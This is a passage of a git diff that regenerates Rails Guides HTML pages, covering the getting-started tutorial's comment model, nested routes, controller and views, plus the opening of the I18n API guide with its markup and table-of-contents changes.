+<div class="paragraph"><p>Now that you&#8217;ve seen what&#8217;s in a model built with scaffolding, it&#8217;s time to add a second model to the application. The second model will handle comments on blog posts.</p></div>
<h3 id="_generating_a_model">8.1. Generating a Model</h3>
-<div class="para"><p>Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don't want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:</p></div>
+<div class="paragraph"><p>Models in Rails use a singular name, and their corresponding database tables use a plural name. For the model to hold comments, the convention is to use the name Comment. Even if you don&#8217;t want to use the entire apparatus set up by scaffolding, most Rails developers still use generators to make things like models and controllers. To create the new model, run this command in your terminal:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate model Comment commenter<span style="color: #990000">:</span>string body<span style="color: #990000">:</span>text post<span style="color: #990000">:</span>references
-</tt></pre></div></div>
-<div class="para"><p>This command will generate four files:</p></div>
-<div class="ilist"><ul>
+<pre><tt>$ script/generate model Comment commenter<span style="color: #990000">:</span>string body<span style="color: #990000">:</span>text post<span style="color: #990000">:</span>references</tt></pre></div></div>
+<div class="paragraph"><p>This command will generate four files:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>app/models/comment.rb</tt> - The model
@@ -1619,7 +1295,7 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>First, take a look at <tt>comment.rb</tt>:</p></div>
+<div class="paragraph"><p>First, take a look at <tt>comment.rb</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1627,10 +1303,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>post
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This is very similar to the <tt>post.rb</tt> model that you saw earlier. The difference is the line <tt>belongs_to :post</tt>, which sets up an Active Record <em>association</em>. You'll learn a little about associations in the next section of this guide.</p></div>
-<div class="para"><p>In addition to the model, Rails has also made a migration to create the corresponding database table:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This is very similar to the <tt>post.rb</tt> model that you saw earlier. The difference is the line <tt>belongs_to :post</tt>, which sets up an Active Record <em>association</em>. You&#8217;ll learn a little about associations in the next section of this guide.</p></div>
+<div class="paragraph"><p>In addition to the model, Rails has also made a migration to create the corresponding database table:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1650,20 +1325,18 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
drop_table <span style="color: #990000">:</span>comments
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>t.references</tt> line sets up a foreign key column for the association between the two models. Go ahead and run the migration:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>t.references</tt> line sets up a foreign key column for the association between the two models. Go ahead and run the migration:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
-</tt></pre></div></div>
-<div class="para"><p>Rails is smart enough to only execute the migrations that have not already been run against this particular database.</p></div>
+<pre><tt>$ rake db<span style="color: #990000">:</span>migrate</tt></pre></div></div>
+<div class="paragraph"><p>Rails is smart enough to only execute the migrations that have not already been run against this particular database.</p></div>
<h3 id="_associating_models">8.2. Associating Models</h3>
-<div class="para"><p>Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships this way:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Each comment belongs to one post
@@ -1675,7 +1348,7 @@ One post can have many comments
</p>
</li>
</ul></div>
-<div class="para"><p>In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post:</p></div>
+<div class="paragraph"><p>In fact, this is very close to the syntax that Rails uses to declare this association. You&#8217;ve already seen the line of code inside the Comment model that makes each comment belong to a Post:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1683,9 +1356,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Comment <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
belongs_to <span style="color: #990000">:</span>post
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You'll need to edit the <tt>post.rb</tt> file to add the other side of the association:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You&#8217;ll need to edit the <tt>post.rb</tt> file to add the other side of the association:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1695,9 +1367,8 @@ http://www.gnu.org/software/src-highlite -->
validates_presence_of <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>title
validates_length_of <span style="color: #990000">:</span>title<span style="color: #990000">,</span> <span style="color: #990000">:</span>minimum <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span>
has_many <span style="color: #990000">:</span>comments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable <tt>@post</tt> containing a post, you can retrieve all the comments belonging to that post as the array <tt>@post.comments</tt>.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>These two declarations enable a good bit of automatic behavior. For example, if you have an instance variable <tt>@post</tt> containing a post, you can retrieve all the comments belonging to that post as the array <tt>@post.comments</tt>.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1707,7 +1378,7 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h3 id="_adding_a_route">8.3. Adding a Route</h3>
-<div class="para"><p><em>Routes</em> are entries in the <tt>config/routes.rb</tt> file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to <tt>posts</tt>. Then edit it as follows:</p></div>
+<div class="paragraph"><p><em>Routes</em> are entries in the <tt>config/routes.rb</tt> file that tell Rails how to match incoming HTTP requests to controller actions. Open up that file and find the existing line referring to <tt>posts</tt>. Then edit it as follows:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1715,9 +1386,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>posts <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>post<span style="color: #990000">|</span>
post<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>comments
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>This creates <tt>comments</tt> as a <em>nested resource</em> within <tt>posts</tt>. This is another part of capturing the hierarchical relationship that exists between posts and comments.</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>This creates <tt>comments</tt> as a <em>nested resource</em> within <tt>posts</tt>. This is another part of capturing the hierarchical relationship that exists between posts and comments.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -1727,16 +1397,15 @@ http://www.gnu.org/software/src-highlite -->
</tr></table>
</div>
<h3 id="_generating_a_controller">8.4. Generating a Controller</h3>
-<div class="para"><p>With the model in hand, you can turn your attention to creating a matching controller. Again, there's a generator for this:</p></div>
+<div class="paragraph"><p>With the model in hand, you can turn your attention to creating a matching controller. Again, there&#8217;s a generator for this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/generate controller Comments index show new edit
-</tt></pre></div></div>
-<div class="para"><p>This creates seven files:</p></div>
-<div class="ilist"><ul>
+<pre><tt>$ script/generate controller Comments index show new edit</tt></pre></div></div>
+<div class="paragraph"><p>This creates seven files:</p></div>
+<div class="ulist"><ul>
<li>
<p>
<tt>app/controllers/comments_controller.rb</tt> - The controller
@@ -1773,7 +1442,7 @@ http://www.gnu.org/software/src-highlite -->
</p>
</li>
</ul></div>
-<div class="para"><p>The controller will be generated with empty methods for each action that you specified in the call to <tt>script/generate controller</tt>:</p></div>
+<div class="paragraph"><p>The controller will be generated with empty methods for each action that you specified in the call to <tt>script/generate controller</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1792,9 +1461,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> edit
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You'll need to flesh this out with code to actually process requests appropriately in each method. Here's a version that (for simplicity's sake) only responds to requests that require HTML:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You&#8217;ll need to flesh this out with code to actually process requests appropriately in each method. Here&#8217;s a version that (for simplicity&#8217;s sake) only responds to requests that require HTML:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1841,21 +1509,19 @@ http://www.gnu.org/software/src-highlite -->
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up; each request for a comment has to keep track of the post to which the comment is attached.</p></div>
-<div class="para"><p>In addition, the code takes advantage of some of the methods available for an association. For example, in the <tt>new</tt> method, it calls</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You&#8217;ll see a bit more complexity here than you did in the controller for posts. That&#8217;s a side-effect of the nesting that you&#8217;ve set up; each request for a comment has to keep track of the post to which the comment is attached.</p></div>
+<div class="paragraph"><p>In addition, the code takes advantage of some of the methods available for an association. For example, in the <tt>new</tt> method, it calls</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build
-</tt></pre></div></div>
-<div class="para"><p>This creates a new <tt>Comment</tt> object <em>and</em> sets up the <tt>post_id</tt> field to have the <tt>id</tt> from the specified <tt>Post</tt> object in a single operation.</p></div>
+<pre><tt><span style="color: #009900">@comment</span> <span style="color: #990000">=</span> <span style="color: #009900">@post</span><span style="color: #990000">.</span>comments<span style="color: #990000">.</span>build</tt></pre></div></div>
+<div class="paragraph"><p>This creates a new <tt>Comment</tt> object <em>and</em> sets up the <tt>post_id</tt> field to have the <tt>id</tt> from the specified <tt>Post</tt> object in a single operation.</p></div>
<h3 id="_building_views">8.5. Building Views</h3>
-<div class="para"><p>Because you skipped scaffolding, you'll need to build views for comments "by hand." Invoking <tt>script/generate controller</tt> will give you skeleton views, but they'll be devoid of actual content. Here's a first pass at fleshing out the comment views.</p></div>
-<div class="para"><p>The <tt>index.html.erb</tt> view:</p></div>
+<div class="paragraph"><p>Because you skipped scaffolding, you&#8217;ll need to build views for comments "by hand." Invoking <tt>script/generate controller</tt> will give you skeleton views, but they&#8217;ll be devoid of actual content. Here&#8217;s a first pass at fleshing out the comment views.</p></div>
+<div class="paragraph"><p>The <tt>index.html.erb</tt> view:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1883,9 +1549,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;br /&gt;</span>
<span style="color: #FF0000">&lt;%= link_to 'New comment', new_post_comment_path(@post) %&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back to Post', @post %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>new.html.erb</tt> view:</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back to Post', @post %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>new.html.erb</tt> view:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1909,9 +1574,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;/p&gt;</span>
<span style="color: #FF0000">&lt;% end %&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>show.html.erb</tt> view:</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>show.html.erb</tt> view:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1930,9 +1594,8 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;/p&gt;</span>
<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_comment_path(@post, @comment) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>The <tt>edit.html.erb</tt> view:</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>The <tt>edit.html.erb</tt> view:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1957,11 +1620,10 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;% end %&gt;</span>
<span style="color: #FF0000">&lt;%= link_to 'Show', post_comment_path(@post, @comment) %&gt;</span> <span style="color: #990000">|</span>
-<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.</p></div>
<h3 id="_hooking_comments_to_posts">8.6. Hooking Comments to Posts</h3>
-<div class="para"><p>As a final step, I'll modify the <tt>show.html.erb</tt> view for a post to show the comments on that post, and to allow managing those comments:</p></div>
+<div class="paragraph"><p>As a final step, I&#8217;ll modify the <tt>show.html.erb</tt> view for a post to show the comments on that post, and to allow managing those comments:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -1997,14 +1659,13 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_path(@post) %&gt;</span> <span style="color: #990000">|</span>
<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
-<span style="color: #FF0000">&lt;%= link_to 'Manage Comments', post_comments_path(@post) %&gt;</span>
-</tt></pre></div></div>
-<div class="para"><p>Note that each post has its own individual comments collection, accessible as <tt>@post.comments</tt>. That's a consequence of the declarative associations in the models. Path helpers such as <tt>post_comments_path</tt> come from the nested route declaration in <tt>config/routes.rb</tt>.</p></div>
+<span style="color: #FF0000">&lt;%= link_to 'Manage Comments', post_comments_path(@post) %&gt;</span></tt></pre></div></div>
+<div class="paragraph"><p>Note that each post has its own individual comments collection, accessible as <tt>@post.comments</tt>. That&#8217;s a consequence of the declarative associations in the models. Path helpers such as <tt>post_comments_path</tt> come from the nested route declaration in <tt>config/routes.rb</tt>.</p></div>
</div>
-<h2 id="_what_s_next">9. What's Next?</h2>
+<h2 id="_what_8217_s_next">9. What&#8217;s Next?</h2>
<div class="sectionbody">
-<div class="para"><p>Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Now that you&#8217;ve seen your first Rails application, you should feel free to update it and experiment on your own. But you don&#8217;t have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:</p></div>
+<div class="ulist"><ul>
<li>
<p>
The <a href="http://guides.rubyonrails.org/">Ruby On Rails guides</a>
@@ -2026,8 +1687,8 @@ The <a href="http://wiki.rubyonrails.org/rails">Rails wiki</a>
</p>
</li>
</ul></div>
-<div class="para"><p>Rails also comes with built-in help that you can generate using the rake command-line utility:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Rails also comes with built-in help that you can generate using the rake command-line utility:</p></div>
+<div class="ulist"><ul>
<li>
<p>
Running <tt>rake doc:guides</tt> will put a full copy of the Rails Guides in the <tt>/doc/guides</tt> folder of your application. Open <tt>/doc/guides/index.html</tt> in your web browser to explore the Guides.
@@ -2042,8 +1703,8 @@ Running <tt>rake doc:rails</tt> will put a full copy of the API documentation fo
</div>
<h2 id="_changelog">10. Changelog</h2>
<div class="sectionbody">
-<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2">Lighthouse ticket</a></p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2">Lighthouse ticket</a></p></div>
+<div class="ulist"><ul>
<li>
<p>
November 3, 2008: Formatting patch from Dave Rothlisberger
@@ -2077,7 +1738,7 @@ September 8, 2008: initial version by James Miller (not yet approved for publica
</ul></div>
</div>
- </div>
- </div>
+ </div>
+ </div>
</body>
</html>
diff --git a/railties/doc/guides/html/i18n.html b/railties/doc/guides/html/i18n.html
index 3ceba0f687..8a6e4cc990 100644
--- a/railties/doc/guides/html/i18n.html
+++ b/railties/doc/guides/html/i18n.html
@@ -1,285 +1,132 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>The Rails Internationalization API</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
- <style type="text/css">
- div#container {
- max-width: 900px;
- padding-bottom: 3em;
-}
-
-div#content {
- margin-left: 200px;
-}
-
-div#container.notoc {
- max-width: 600px;
-}
-
-.notoc div#content {
- margin-left: 0;
-}
-
-pre {
- line-height: 1.4em;
-}
-
-#content p tt {
- background: #eeeeee;
- border: solid 1px #cccccc;
- padding: 3px;
-}
-
-dt {
- font-weight: bold;
-}
-
-#content dt tt {
- font-size: 10pt;
-}
-
-dd {
- margin-left: 3em;
-}
-
-#content dt tt, #content pre tt {
- background: none;
- padding: 0;
- border: 0;
-}
-
-#content .olist ol {
- margin-left: 2em;
-}
-
-#header {
- position: relative;
- max-width: 840px;
- margin-left: auto;
- margin-right: auto;
-}
-
-#header.notoc {
- max-width: 580px;
-}
-
-#logo {
- position: absolute;
- left: 10px;
- top: 10px;
- width: 110px;
- height: 140px;
-}
-
-div#header h1#site_title {
- background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
- position: absolute;
- width: 392px;
- height: 55px;
- left: 145px;
- top: 20px;
- margin: 0;
- padding: 0;
-}
-
-#site_title span {
- display: none;
-}
-
-#site_title_tagline {
- display: none;
-}
-
-ul#navMain {
- position: absolute;
- margin: 0;
- padding: 0;
- top: 97px;
- left: 145px;
-}
-
-.left-floaty, .right-floaty {
- padding: 15px;
-}
-
-.admonitionblock,
-.tableblock {
- margin-left: 1em;
- margin-right: 1em;
- margin-top: 0.25em;
- margin-bottom: 1em;
-}
-
-.admonitionblock .icon {
- padding-right: 8px;
-}
-
-.admonitionblock .content {
- border: solid 1px #ffda78;
- background: #fffebd;
- padding: 10px;
- padding-top: 8px;
- padding-bottom: 8px;
-}
-
-.admonitionblock .title {
- font-size: 140%;
- margin-bottom: 0.5em;
-}
-
-.tableblock table {
- border: solid 1px #aaaaff;
- background: #f0f0ff;
-}
-
-.tableblock th {
- background: #e0e0e0;
-}
-
-.tableblock th,
-.tableblock td {
- padding: 3px;
- padding-left: 5px;
- padding-right: 5px;
-}
-
-.sidebarblock {
- margin-top: 0.25em;
- margin: 1em;
- border: solid 1px #ccccbb;
- padding: 8px;
- background: #ffffe0;
-}
-
-.sidebarblock .sidebar-title {
- font-size: 140%;
- font-weight: 600;
- margin-bottom: 0.3em;
-}
-
-.sidebarblock .sidebar-content > .para:last-child > p {
- margin-bottom: 0;
-}
-
-.sidebarblock .sidebar-title a {
- text-decoration: none;
-}
-
-.sidebarblock .sidebar-title a:hover {
- text-decoration: underline;
-}
-
- </style>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <title>The Rails Internationalization (I18n) API</title>
+ <!--[if lt IE 8]>
+ <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+ <![endif]-->
+ <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+ <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
</head>
<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_how_i18n_in_ruby_on_rails_works">How I18n in Ruby on Rails works</a>
- <ul>
-
- <li><a href="#_the_overall_architecture_of_the_library">The overall architecture of the library</a></li>
-
- <li><a href="#_the_public_i18n_api">The public I18n API</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_walkthrough_setup_a_simple_i18n_ed_rails_application">Walkthrough: setup a simple I18n'ed Rails application</a>
- <ul>
-
- <li><a href="#_configure_the_i18n_module">Configure the I18n module</a></li>
-
- <li><a href="#_set_the_locale_in_each_request">Set the locale in each request</a></li>
-
- <li><a href="#_internationalize_your_application">Internationalize your application</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_overview_of_the_i18n_api_features">Overview of the I18n API features</a>
- <ul>
-
- <li><a href="#_looking_up_translations">Looking up translations</a></li>
-
- <li><a href="#_interpolation">Interpolation</a></li>
-
- <li><a href="#_pluralization">Pluralization</a></li>
-
- <li><a href="#_setting_and_passing_a_locale">Setting and passing a locale</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_how_to_store_your_custom_translations">How to store your custom translations</a>
- <ul>
-
- <li><a href="#_translations_for_activerecord_models">Translations for ActiveRecord models</a></li>
-
- <li><a href="#_other_translations_and_localizations">Other translations and localizations</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_customize_your_i18n_setup">Customize your I18n setup</a>
- <ul>
-
- <li><a href="#_using_different_backends">Using different backends</a></li>
-
- <li><a href="#_using_different_exception_handlers">Using different exception handlers</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_resources">Resources</a>
- </li>
- <li>
- <a href="#_footnotes">Footnotes</a>
- </li>
- <li>
- <a href="#_credits">Credits</a>
- </li>
- <li>
- <a href="#_notes">NOTES</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>The Rails Internationalization API</h1>
- <div id="preamble">
+ <div id="header" >
+ <div id="logo">
+ <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+ </div>
+
+ <h1 id="site_title"><span>Ruby on Rails</span></h1>
+ <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+ <ul id="navMain">
+ <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+ <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+ </ul>
+ </div>
+
+ <div id="container">
+
+ <div id="sidebar">
+ <h2>Chapters</h2>
+ <ol>
+ <li>
+ <a href="#_how_i18n_in_ruby_on_rails_works">How I18n in Ruby on Rails works</a>
+ <ul>
+
+ <li><a href="#_the_overall_architecture_of_the_library">The overall architecture of the library</a></li>
+
+ <li><a href="#_the_public_i18n_api">The public I18n API</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_setup_the_rails_application_for_internationalization">Setup the Rails application for internationalization</a>
+ <ul>
+
+ <li><a href="#_configure_the_i18n_module">Configure the I18n module</a></li>
+
+ <li><a href="#_optional_custom_i18n_configuration_setup">Optional: custom I18n configuration setup</a></li>
+
+ <li><a href="#_setting_and_passing_the_locale">Setting and passing the locale</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_internationalize_your_application">Internationalize your application</a>
+ <ul>
+
+ <li><a href="#_adding_translations">Adding Translations</a></li>
+
+ <li><a href="#_adding_date_time_formats">Adding Date/Time formats</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_overview_of_the_i18n_api_features">Overview of the I18n API features</a>
+ <ul>
+
+ <li><a href="#_looking_up_translations">Looking up translations</a></li>
+
+ <li><a href="#_interpolation">Interpolation</a></li>
+
+ <li><a href="#_pluralization">Pluralization</a></li>
+
+ <li><a href="#_setting_and_passing_a_locale">Setting and passing a locale</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_how_to_store_your_custom_translations">How to store your custom translations</a>
+ <ul>
+
+ <li><a href="#_translations_for_activerecord_models">Translations for ActiveRecord models</a></li>
+
+ <li><a href="#_other_translations_and_localizations">Other translations and localizations</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_customize_your_i18n_setup">Customize your I18n setup</a>
+ <ul>
+
+ <li><a href="#_using_different_backends">Using different backends</a></li>
+
+ <li><a href="#_using_different_exception_handlers">Using different exception handlers</a></li>
+
+ </ul>
+ </li>
+ <li>
+ <a href="#_resources">Resources</a>
+ </li>
+ <li>
+ <a href="#_footnotes">Footnotes</a>
+ </li>
+ <li>
+ <a href="#_changelog">Changelog</a>
+ </li>
+ </ol>
+ </div>
+
+ <div id="content">
+ <h1>The Rails Internationalization (I18n) API</h1>
+ <div id="preamble">
<div class="sectionbody">
-<div class="para"><p>The Ruby I18n gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or providing multi-language support in your application.</p></div>
+<div class="paragraph"><p>The Ruby I18n (shorthand for <em>internationalization</em>) gem which is shipped with Ruby on Rails (starting from Rails 2.2) provides an easy-to-use and extensible framework for translating your application to a single custom language other than English or providing multi-language support in your application.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The Ruby I18n framework provides you with all neccessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available. See Rails <a href="http://rails-i18n.org/wiki">I18n Wiki</a> for more information.</td>
+</tr></table>
+</div>
</div>
</div>
<h2 id="_how_i18n_in_ruby_on_rails_works">1. How I18n in Ruby on Rails works</h2>
<div class="sectionbody">
-<div class="para"><p>Internationalization is a complex problem. Natural languages differ in so many ways that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focusses on:</p></div>
-<div class="ilist"><ul>
+<div class="paragraph"><p>Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:</p></div>
